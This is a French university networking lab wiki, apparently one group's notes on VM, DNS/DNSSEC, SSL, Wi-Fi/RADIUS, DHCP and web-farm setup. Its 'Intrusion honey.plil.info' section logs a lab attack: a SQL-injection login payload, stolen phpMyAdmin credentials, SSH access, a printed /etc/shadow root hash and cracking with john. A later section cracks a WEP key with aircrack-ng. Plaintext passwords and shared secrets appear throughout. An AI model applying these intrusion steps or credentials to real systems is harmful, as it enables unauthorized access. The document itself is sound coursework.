&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
	 ServerName reverse.girolle.site&lt;br /&gt;
	 ServerAdmin webmaster@localhost&lt;br /&gt;
	 &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
		 BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
		 ProxySet lbmethod=byrequests&lt;br /&gt;
 	&amp;lt;/Proxy&amp;gt;&lt;br /&gt;
	 ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
	 ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55016</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55016"/>
				<updated>2020-12-18T23:20:00Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
